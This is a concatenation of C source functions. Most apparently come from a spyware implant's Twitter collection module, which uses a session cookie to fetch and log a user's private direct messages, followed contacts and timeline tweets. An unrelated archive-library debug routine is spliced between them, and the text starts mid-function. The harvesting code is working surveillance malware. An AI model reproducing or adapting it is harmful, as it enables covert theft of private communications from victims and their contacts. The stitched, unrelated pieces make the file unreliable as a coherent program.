) { SAFE_FREE(r_buffer); return -1; } parser1 = parser1 + strlen("\"threads\":["); parser2 = strstr(parser1, "\"]},"); if( !parser2 ) { zfree(r_buffer); return SOCIAL_REQUEST_BAD_COOKIE; } parser2 += 1; // skip past last '"' *parser2 = NULL; #ifdef _DEBUG OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1); #endif /* loop through the list of available threads pointed by parser1 and requests its content e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks" */ for( ;; ) { parser1 = strchr(parser1, '"'); if( !parser1 ) break; parser1 += 1; // skip past '"' parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle); #endif /* fetch conversation e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 */ _snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle); ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/"); /* if the request is not successful assume some serious issue happened, free resources and bail */ if (ret_val != SOCIAL_REQUEST_SUCCESS) { zfree(thread_buffer); zfree(r_buffer); return ret_val; } /* direct message structure: 1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item' find '<div class="dm ' (N.B space after dm) then decode whether it's send or received 2] content: <p class="js-tweet-text tweet-text" >MESSAGE</p> 3] timestamp: data-time="1414592790" */ thread_parser1 = (char *) thread_buffer; /* parse all the messages belonging to a conversation, when there aren't messages left bail */ for( ;; ) { thread_parser1 = strstr(thread_parser1, TWITTER_DM_ITEM); // START HERE: can't find TWITTER_DM_ITEM if( !thread_parser1 ) break; thread_parser1 += strlen(TWITTER_DM_ITEM); thread_parser2 = strchr(thread_parser1, ' '); // skip past sent or received if( !thread_parser2 ) break; *thread_parser2 = NULL; _snprintf_s(strDmType, sizeof(strDmType), _TRUNCATE, thread_parser1); thread_parser2 +=1; #ifdef _DEBUG OutputDebug(L"[*] %S - dm type: '%S'\n", __FUNCTION__, strDmType); #endif thread_parser1 = strstr(thread_parser2, TWITTER_DM_CONTENT); if( !thread_parser1 ) break; thread_parser1 = strstr(thread_parser1, "\\u003e"); // encoded '>' if( !thread_parser1 ) break; thread_parser1 += strlen("\\u003e"); thread_parser2 = strstr(thread_parser1, "\\u003c\\/p\\u003e"); // encoded </p> if( !thread_parser2 ) break; *thread_parser2 = NULL; _snprintf_s(strDmContent, sizeof(strDmContent), _TRUNCATE, thread_parser1); thread_parser1 = thread_parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - dm content: '%S'\n", __FUNCTION__, strDmContent); #endif thread_parser1 = strstr(thread_parser1, TWITTER_DM_TIMESTAMP_START); if( !thread_parser1 ) break; thread_parser1 += strlen(TWITTER_DM_TIMESTAMP_START); thread_parser2 = strstr(thread_parser1, "\\\""); if( !thread_parser2 ) break; *thread_parser2 = NULL; _snprintf_s(strTimestamp, sizeof(strTimestamp), _TRUNCATE, thread_parser1); thread_parser1 = thread_parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - dm timestamp: '%S'\n", __FUNCTION__, strTimestamp); #endif /* if the tweet is new save it , discard otherwise */ if (!atoi(strTimestamp)) continue; sscanf_s(strTimestamp, "%llu", &act_tstamp); if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo) continue; /* should hold true only for the first tweet in the batch */ if( act_tstamp.LowPart > dwHigherBatchTimestamp ) dwHigherBatchTimestamp = act_tstamp.LowPart; _gmtime32_s(&tstamp, (__time32_t *)&act_tstamp); tstamp.tm_year += 1900; tstamp.tm_mon++; /* strDmType is either 'sent' or received */ if( !strcmp(strDmType, "sent") ) SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, strCurrentThreadHandle, strCurrentThreadHandle, username, username, strDmContent, &tstamp, FALSE); else if( !strcmp(strDmType, "received") ) SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, username, username, strCurrentThreadHandle, strCurrentThreadHandle, strDmContent, &tstamp, FALSE); #ifdef _DEBUG OutputDebug(L"[*] %S - logging: %S <-> %S : %S %llu\n", __FUNCTION__, username, strCurrentThreadHandle, strDmContent, tstamp); #endif } /* free loop allocated buffer */ zfree(thread_buffer); thread_buffer = NULL; } /* save the most recent timestamp we got from all conversations */ SocialSetLastTimestamp(strUsernameForDm, dwHigherBatchTimestamp, 0); zfree(thread_buffer); // if we bailed out of conversation parsing loop, thread_buffer is still allocated, proceed with free'ing zfree(r_buffer); return SOCIAL_REQUEST_SUCCESS; }
static void DoDebug(xadUINT32 mode, const xadSTRING *fmt, xadTAGPTR tags, va_list data) { xadUINT32 i; xadUINT32 Flags = 0; if(!function && (deb_flags & DEBUGFLAG_STATIC)) return; #ifdef AMIGA Forbid(); #endif if((deb_flags & DEBUGFLAG_STATIC) || (mode & (DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND))) Flags = deb_flags; else { xadSTRING Mode[17] = ""; #ifdef AMIGA GetVar("XADDEBUG", (xadSTRPTR) &Mode, sizeof(Mode)-1, GVF_GLOBAL_ONLY); #else const xadSTRING *modePtr = getenv("XADDEBUG"); if (modePtr) strncpy(Mode, modePtr, sizeof(Mode)-1); #endif function = 0; for(i=0; Mode[i] && i < 15; ++i) { switch(Mode[i]) { case 'A': Flags |= DEBUGFLAG_TAGLIST|DEBUGFLAG_RUNTIME|DEBUGFLAG_HOOK |DEBUGFLAG_ERROR|DEBUGFLAG_OTHER|DEBUGFLAG_MEM |DEBUGFLAG_FLAGS|DEBUGFLAG_RESOURCE|DEBUGFLAG_CLIENT |DEBUGFLAG_SEARCHED; break; case 'M': Flags |= DEBUGFLAG_MEM; break; case 'O': Flags |= DEBUGFLAG_OTHER; break; case 'E': Flags |= DEBUGFLAG_ERROR; break; case 'C': Flags |= DEBUGFLAG_RESOURCE; break; case 'D': Flags |= DEBUGFLAG_CLIENT|DEBUGFLAG_SEARCHED; break; case 'F': Flags |= DEBUGFLAG_FLAGS; break; case 'H': Flags |= DEBUGFLAG_HOOK; break; case 'R': Flags |= DEBUGFLAG_RUNTIME; break; case 'T': Flags |= DEBUGFLAG_TAGLIST; break; case 'S': Flags |= DEBUGFLAG_STATIC; break; #ifdef __MORPHOS__ case 's': function = RAWFMTFUNC_SERIAL; break; #elif defined(AMIGA) case 's': function = serfunc; break; case 'p': function = parfunc; break; #endif case 'f': function = normfunc; break; case 'e': function = errfunc; break; case 'o': function = outfunc; break; case 'n': function = 0; break; } } deb_flags = Flags; } mode &= Flags|DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND |DEBUGFLAG_CONTINUESTART; if(mode & (~(DEBUGFLAG_TAGLIST|DEBUGFLAG_STATIC|DEBUGFLAG_CONTINUE |DEBUGFLAG_CONTINUEEND|DEBUGFLAG_CONTINUESTART))) { #ifdef AMIGA xadPTR fh = 0; if(function==normfunc) { if((fh = (xadPTR) Open("T:xadMasterOut", MODE_READWRITE))) { Seek((BPTR)fh, 0, OFFSET_END); } else function = 0; } #else FILE *fh = NULL; switch(function) { case normfunc: fh = fopen(".libxad-debug", "a"); break; case outfunc: default: fh = stdout; break; case errfunc: fh = stderr; break; } #endif if(function) { #ifdef AMIGA if(!(mode & (DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND))) { i = (xadUINT32) FindTask(0); OutputDebugArgs("XadM(%08lx):", (putchtype) function, fh, i); } #endif OutputDebugVA(fmt, (putchtype) function, fh, data); if(!(mode & (DEBUGFLAG_CONTINUESTART|DEBUGFLAG_CONTINUE)) || (mode & DEBUGFLAG_CONTINUEEND)) OutputDebug("\n", (putchtype) function, fh); #ifdef DEBUG if(mode & DEBUGFLAG_TAGLIST) { xadTAGPTR ti; while((ti = NextTagItem(&tags))) { xadUINT32 i[2], dmode = 0; const xadSTRING *s; /* dmode == 1 - BOOL data, dmode == 2 - unknown, dmode == 3 - error text */ switch(ti->ti_Tag) { case XAD_INSIZE: s = "XAD_INSIZE, %lu"; break; case XAD_INFILENAME: s = "XAD_INFILENAME, \"%s\" ($%08lx)"; break; case XAD_INFILEHANDLE: s = "XAD_INFILEHANDLE, $%08lx"; break; case XAD_INMEMORY: s = "XAD_INMEMORY, $%08lx"; break; case XAD_INHOOK: s = "XAD_INHOOK, $%08lx"; break; case XAD_INSPLITTED: s = "XAD_INSPLITTED, $%08lx"; break; case XAD_INDISKARCHIVE: s = "XAD_INDISKARCHIVE, $%08lx"; break; case XAD_INXADSTREAM: s = "XAD_INXADSTREAM, $%08lx"; break; #ifdef AMIGA case XAD_INDEVICE: s = "XAD_INDEVICE, $%08lx"; break; #endif case XAD_OUTSIZE: s = "XAD_OUTSIZE, %lu"; break; case XAD_OUTFILENAME: s = "XAD_OUTFILENAME, \"%s\" ($%08lx)"; break; case XAD_OUTFILEHANDLE: s = "XAD_OUTFILEHANDLE, $%08lx"; break; case XAD_OUTMEMORY: s = "XAD_OUTMEMORY, $%08lx"; break; case XAD_OUTHOOK: s = "XAD_OUTHOOK, $%08lx"; break; #ifdef AMIGA case XAD_OUTDEVICE: s = "XAD_OUTDEVICE, $%08lx"; break; #endif case XAD_OUTXADSTREAM: s = "XAD_OUTXADSTREAM, $%08lx"; break; case XAD_OBJNAMESIZE: s = "XAD_OBJNAMESIZE, %lu"; break; case XAD_OBJCOMMENTSIZE: s = "XAD_OBJCOMMENTSIZE, %lu"; break; case XAD_OBJBLOCKENTRIES: s = "XAD_OBJBLOCKENTRIES, %lu"; break; case XAD_OBJPRIVINFOSIZE: s = "XAD_OBJPRIVINFOSIZE, %lu"; break; case XAD_NOEXTERN: s = "XAD_NOEXTERN, %s"; dmode = 1; break; case XAD_PASSWORD: s = "XAD_PASSWORD, \"%s\" ($%08lx)"; break; case XAD_ENTRYNUMBER: s = "XAD_ENTRYNUMBER, %lu"; break; case XAD_PROGRESSHOOK: s = "XAD_PROGRESSHOOK, $%08lx"; break; case XAD_OVERWRITE: s = "XAD_OVERWRITE, %s"; dmode = 1; break; #ifdef AMIGA case XAD_IGNOREGEOMETRY: s = "XAD_IGNOREGEOMETRY, %s"; dmode = 1; break; case XAD_USESECTORLABELS: s = "XAD_USESECTORLABELS, %s"; dmode = 1; break; #endif case XAD_LOWCYLINDER: s = "XAD_LOWCYLINDER, %lu"; break; case XAD_HIGHCYLINDER: s = "XAD_HIGHCYLINDER, %lu"; break; #ifdef AMIGA case XAD_VERIFY: s = "XAD_VERIFY, %s"; dmode = 1; break; #endif case XAD_NOKILLPARTIAL: s = "XAD_NOKILLPARTIAL, %s"; dmode = 1; break; #ifdef AMIGA case XAD_FORMAT: s = "XAD_FORMAT, %s"; dmode = 1; break; #endif case XAD_MAKEDIRECTORY: s = "XAD_MAKEDIRECTORY, %s"; dmode = 1; break; case XAD_DATEUNIX: s = "XAD_DATEUNIX, %ld"; break; case XAD_DATEAMIGA: s = "XAD_DATEAMIGA, %ld"; break; case XAD_DATECURRENTTIME: s = "XAD_DATECURRENTTIME"; break; case XAD_DATEDATESTAMP: s = "XAD_DATEDATESTAMP, $%08lx"; break; case XAD_DATEXADDATE: s = "XAD_DATEXADDATE, $%08lx"; break; case XAD_DATECLOCKDATA: s = "XAD_DATECLOCKDATA, $%08lx"; break; case XAD_DATEMSDOS: s = "XAD_DATEMSDOS, $%08lx"; break; case XAD_DATEMAC: s = "XAD_DATEMAC, $%08lx"; break; case XAD_DATECPM: s = "XAD_DATECPM, $%08lx"; break; case XAD_DATECPM2: s = "XAD_DATECPM2, $%08lx"; break; case XAD_GETDATEUNIX: s = "XAD_GETDATEUNIX, $%08lx"; break; case XAD_GETDATEAMIGA: s = "XAD_GETDATEAMIGA, $%08lx"; break; #ifdef AMIGA case XAD_GETDATEDATESTAMP: s = "XAD_GETDATEDATESTAMP, $%08lx"; break; #endif case XAD_GETDATEXADDATE: s = "XAD_GETDATEXADDATE, $%08lx"; break; #ifdef AMIGA case XAD_GETDATECLOCKDATA: s = "XAD_GETDATECLOCKDATA, $%08lx"; break; #endif case XAD_GETDATEMSDOS: s = "XAD_GETDATEMSDOS, $%08lx"; break; case XAD_GETDATEMAC: s = "XAD_GETDATEMAC, $%08lx"; break; case XAD_GETDATECPM: s = "XAD_GETDATECPM, $%08lx"; break; case XAD_GETDATECPM2: s = "XAD_GETDATECPM2, $%08lx"; break; case XAD_PROTAMIGA: s = "XAD_PROTAMIGA, $%08lx"; break; case XAD_PROTUNIX: s = "XAD_PROTUNIX, $%08lx"; break; case XAD_PROTMSDOS: s = "XAD_PROTMSDOS, $%08lx"; break; case XAD_PROTFILEINFO: s = "XAD_PROTFILEINFO, $%08lx"; break; case XAD_GETPROTAMIGA: s = "XAD_GETPROTAMIGA, $%08lx"; break; case XAD_GETPROTUNIX: s = "XAD_GETPROTUNIX, $%08lx"; break; case XAD_GETPROTMSDOS: s = "XAD_GETPROTMSDOS, $%08lx"; break; case XAD_GETPROTFILEINFO: s = "XAD_GETPROTFILEINFO, $%08lx"; break; case XAD_MAKEGMTDATE: s = "XAD_MAKEGMTDATE, %s", dmode = 1; break; case XAD_MAKELOCALDATE: s = "XAD_MAKELOCALDATE, %s", dmode = 1; break; case XAD_STARTCLIENT: s = "XAD_STARTCLIENT, $%08lx"; break; case XAD_NOEMPTYERROR: s = "XAD_NOEMPTYERROR, %s"; dmode = 1; break; case XAD_ARCHIVEINFO: s = "XAD_ARCHIVEINFO, $%08lx"; break; case XAD_WASERROR: s = "XAD_WASERROR, \"%s\" (%ld)"; dmode = 3; break; case XAD_SECTORLABELS: s = "XAD_SECTORLABELS, $%08lx"; break; case XAD_INSERTDIRSFIRST: s = "XAD_INSERTDIRSFIRST, %s"; dmode = 1; break; case XAD_SETINPOS: s = "XAD_SETINPOS, %ld"; break; case XAD_IGNOREFLAGS: s = "XAD_IGNOREFLAGS, $%08lx"; dmode = 100; break; case XAD_ONLYFLAGS: s = "XAD_ONLYFLAGS, $%08lx"; dmode=100; break; case XAD_ERRORCODE: s = "XAD_ERRORCODE, $%08lx"; break; case XAD_PATHSEPERATOR: s = "XAD_PATHSEPERATOR, $%08lx"; break; case XAD_CHARACTERSET: s = "XAD_CHARACTERSET, %ld (%s)"; dmode = 4; break; case XAD_STRINGSIZE: s = "XAD_STRINGSIZE, %ld"; break; case XAD_CSTRING: s = "XAD_CSTRING, $%08lx"; break; case XAD_PSTRING: s = "XAD_PSTRING, $%08lx"; break; case XAD_XADSTRING: s = "XAD_XADSTRING, $%08lx"; break; case XAD_ADDPATHSEPERATOR: s = "XAD_ADDPATHSEPERATOR, %s"; dmode = 1; break; case XAD_NOLEADINGPATH: s = "XAD_NOLEADINGPATH, %s"; dmode = 1; break; case XAD_NOTRAILINGPATH: s = "XAD_NOTRAILINGPATH, %s"; dmode = 1; break; case XAD_MASKCHARACTERS: s = "XAD_MASKCHARACTERS, $%08lx"; break; case XAD_MASKINGCHAR: s = "XAD_MASKINGCHAR, '%lc'"; break; case XAD_REQUIREDBUFFERSIZE: s = "XAD_REQUIREDBUFFERSIZE, $%08lx"; break; case XAD_USESKIPINFO: s = "XAD_USESKIPINFO, %s"; dmode = 1; break; case XAD_EXTENSION: s = "XAD_EXTENSION, \"%s\" ($%08lx)"; break; default: s = "$%08lx, $%08lx"; dmode = 2; break; } switch(dmode) { case 1: i[0] = ti->ti_Data ? (xadUINT32) "TRUE" : (xadUINT32) "FALSE"; break; case 2: i[0] = ti->ti_Tag; i[1] = ti->ti_Data; break; #ifdef AMIGA case 3: i[0] = (xadUINT32) xadGetErrorText(XADM ti->ti_Data); i[1] = ti->ti_Data; break; #else /* Special case: We pass a NULL to xadGetErrorText() since we don't have XMB as a global variable in Unix. xadGetErrorText() will make an exception for this. */ case 3: i[0] = (xadUINT32) xadGetErrorText(NULL, ti->ti_Data); i[1] = ti->ti_Data; break; #endif case 4: i[0] = ti->ti_Data; switch(i[0]) { case CHARSET_HOST: i[1] = (xadUINT32) "CHARSET_HOST"; break; case CHARSET_UNICODE_UCS2_HOST: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2_HOST"; break; case CHARSET_UNICODE_UCS2_BIGENDIAN: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2BIGENDIAN"; break; case CHARSET_UNICODE_UCS2_LITTLEENDIAN: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2_LITTLEENDIAN"; break; case CHARSET_UNICODE_UTF8: i[1] = (xadUINT32) "CHARSET_UNICODE_UTF8"; break; case CHARSET_AMIGA: i[1] = (xadUINT32) "CHARSET_AMIGA"; break; case CHARSET_MSDOS: i[1] = (xadUINT32) "CHARSET_MSDOS"; break; case CHARSET_MACOS: i[1] = (xadUINT32) "CHARSET_MACOS"; break; case CHARSET_C64: i[1] = (xadUINT32) "CHARSET_C64"; break; case CHARSET_ATARI_ST: i[1] = (xadUINT32) "CHARSET_ATARI_ST"; break; case CHARSET_WINDOWS: i[1] = (xadUINT32) "CHARSET_WINDOWS"; break; case CHARSET_ASCII: i[1] = (xadUINT32) "CHARSET_ASCII"; break; case CHARSET_ISO_8859_1: i[1] = (xadUINT32) "CHARSET_ISO_8859_1"; break; case CHARSET_ISO_8859_15: i[1] = (xadUINT32) "CHARSET_ISO_8859_15"; break; case CHARSET_ATARI_ST_US: i[1] = (xadUINT32) "CHARSET_ATARI_ST_US"; break; case CHARSET_PETSCII_C64_LC: i[1] = (xadUINT32) "CHARSET_PETSCII_C64_LC"; break; case CHARSET_CODEPAGE_437: i[1] = (xadUINT32) "CHARSET_CODEPAGE_437"; break; case CHARSET_CODEPAGE_1252: i[1] = (xadUINT32) "CHARSET_CODEPAGE_1252"; break; default: i[1] = (xadUINT32) "unknown"; break; } break; default: i[0] = i[1] = ti->ti_Data; } OutputDebug(" ", (putchtype) function, fh); OutputDebugArgs(s, (putchtype) function, fh, i[0], i[1]); if(dmode >= 100 && (Flags & DEBUGFLAG_FLAGS)) { OutputDebug(" ("/*)*/, (putchtype) function, fh); switch(dmode) { case 100: i[1] = PrintFlag(XADCF_FILEARCHIVER, i[1]); i[1] = PrintFlag(XADCF_DISKARCHIVER, i[1]); i[1] = PrintFlag(XADCF_EXTERN, i[1]); i[1] = PrintFlag(XADCF_FILESYSTEM, i[1]); i[1] = PrintFlag(XADCF_NOCHECKSIZE, i[1]); i[1] = PrintFlag(XADCF_DATACRUNCHER, i[1]); i[1] = PrintFlag(XADCF_EXECRUNCHER, i[1]); i[1] = PrintFlag(XADCF_ADDRESSCRUNCHER, i[1]); i[1] = PrintFlag(XADCF_LINKER, i[1]); i[1] = PrintFlag(XADCF_FREESPECIALINFO, i[1]); i[1] = PrintFlag(XADCF_FREESKIPINFO, i[1]); i[1] = PrintFlag(XADCF_FREETEXTINFO, i[1]); i[1] = PrintFlag(XADCF_FREETEXTINFOTEXT, i[1]); i[1] = PrintFlag(XADCF_FREEFILEINFO, i[1]); i[1] = PrintFlag(XADCF_FREEDISKINFO, i[1]); } if(i[1]) { OutputDebugArgs("$%lx", (putchtype) function, fh, i[1]); } OutputDebug(/*(*/")", (putchtype) function, fh); } OutputDebug("\n", (putchtype) function, fh); } OutputDebug(" TAG_DONE\n", (putchtype) function, fh); } #endif } #ifdef AMIGA if(fh) Close((BPTR)fh); #else if(fh && function == normfunc) fclose(fh); #endif } #ifdef AMIGA Permit(); #endif }
DWORD ParseFollowing(char *user, char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2; char screen_name[256]; char following_contact[256]; #ifdef _DEBUG OutputDebug(L"[*] %S\n", __FUNCTION__); #endif ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/following", 443, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *)r_buffer; for (;;) { /* 1] following contact e.g. <div class="ProfileCard js-actionable-user" data-screen-name="thegrugq_ebooks" */ // advance first token parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_1); if( !parser1 ) break; parser1 += strlen(TWITTER_FOLLOWING_CONTACT_1); // advance second token parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_2); if( !parser1 ) break; parser1 += strlen(TWITTER_FOLLOWING_CONTACT_2); parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(following_contact, sizeof(following_contact), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - contact name: %S\n", __FUNCTION__, following_contact); #endif /* 2] screen name e.g. data-name="The real Grugq" */ parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START); if( !parser1 ) break; parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START); parser2 = strchr( parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - screen name: %S\n", __FUNCTION__, screen_name); #endif SocialLogContactA(CONTACT_SRC_TWITTER, screen_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, following_contact, NULL, TWITTER_FOLLOWER); } SAFE_FREE(r_buffer); return SOCIAL_REQUEST_SUCCESS; }
DWORD ParseTweet(char *user, char *cookie) { DWORD ret_val; BYTE *r_buffer = NULL; DWORD response_len; char *parser1, *parser2; char tweet_body[2048]; char tweet_id[256]; char screen_name[256]; char tweet_author[256]; char tweet_timestamp[256]; ULARGE_INTEGER act_tstamp; DWORD last_tstamp_hi, last_tstamp_lo; struct tm tstamp; /* since the first tweet of this batch will have a higher timestamp, save it to update social status at the end of the batch */ DWORD dwHigherBatchTimestamp = 0; #ifdef _DEBUG OutputDebug(L"[*] %S\n", __FUNCTION__); #endif last_tstamp_lo = SocialGetLastTimestamp(user, &last_tstamp_hi); if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP) return SOCIAL_REQUEST_BAD_COOKIE; ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie); if (ret_val != SOCIAL_REQUEST_SUCCESS) return ret_val; parser1 = (char *)r_buffer; /* loop through tweets retrieved from timeline, html structure for a tweet 1] tweet id 2] author 3] timestamp 4] body */ for (;;) { /* 1] tweet id e.g. data-tweet-id="526625177615220736" */ parser1 = strstr(parser1, TWITTER_TWEET_ID_START); if( !parser1 ) break; parser1 += strlen(TWITTER_TWEET_ID_START); parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - tweet id: %S\n", __FUNCTION__, tweet_id); #endif /* 2] tweet author and display name e.g. data-screen-name="TheEconomist" data-name="The Economist" data-user-id="5988062" */ parser1 = strstr(parser1, TWITTER_TWEET_AUTHOR_START); if( !parser1 ) break; parser1 += strlen(TWITTER_TWEET_AUTHOR_START); parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(tweet_author, sizeof(tweet_author), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - tweet author: %S\n", __FUNCTION__, tweet_author); #endif parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START); if( !parser1 ) break; parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START); parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - tweet screen_name: %S\n", __FUNCTION__, screen_name); #endif /* 3] timestamp e.g. data-time="1414392201" */ parser1 = strstr(parser1, TWITTER_TWEET_TIMESTAMP_START); if( !parser1 ) break; parser1 += strlen(TWITTER_TWEET_TIMESTAMP_START); parser2 = strchr(parser1, '"'); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(tweet_timestamp, sizeof(tweet_timestamp), _TRUNCATE, parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - tweet time stamp: %S\n", __FUNCTION__, tweet_timestamp); #endif /* 4] tweet body: e.g. <p class="js-tweet-text tweet-text" lang="en" data-aria-label-part="0">BODY</p> a) find start of <p>, and then reach the end of <p> b) find </p> */ parser1 = strstr(parser1, TWITTER_TWEET_START); if( !parser1 ) break; parser1 = strchr(parser1, '>'); if( !parser1 ) break; parser1 += 1; parser2 = strstr(parser1, TWITTER_TWEET_END); if( !parser2 ) break; *parser2 = NULL; _snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1); parser1 = parser2 + 1; #ifdef _DEBUG OutputDebug(L"[*] %S - tweet body: %S\n", __FUNCTION__, tweet_body); #endif /* if the tweet is new save it , discard otherwise */ if (!atoi(tweet_timestamp)) continue; sscanf_s(tweet_timestamp, "%llu", &act_tstamp); if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo) continue; /* should hold true only for the first tweet in the batch */ if( act_tstamp.LowPart > dwHigherBatchTimestamp ) dwHigherBatchTimestamp = act_tstamp.LowPart; _gmtime32_s(&tstamp, (__time32_t *)&act_tstamp); tstamp.tm_year += 1900; tstamp.tm_mon++; #ifdef _DEBUG OutputDebug(L"[*] %S - logging: @%S -> %S : %llu\n", __FUNCTION__, screen_name, tweet_body, tstamp); #endif SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE); } SocialSetLastTimestamp(user, dwHigherBatchTimestamp, 0); SAFE_FREE(r_buffer); return SOCIAL_REQUEST_SUCCESS; }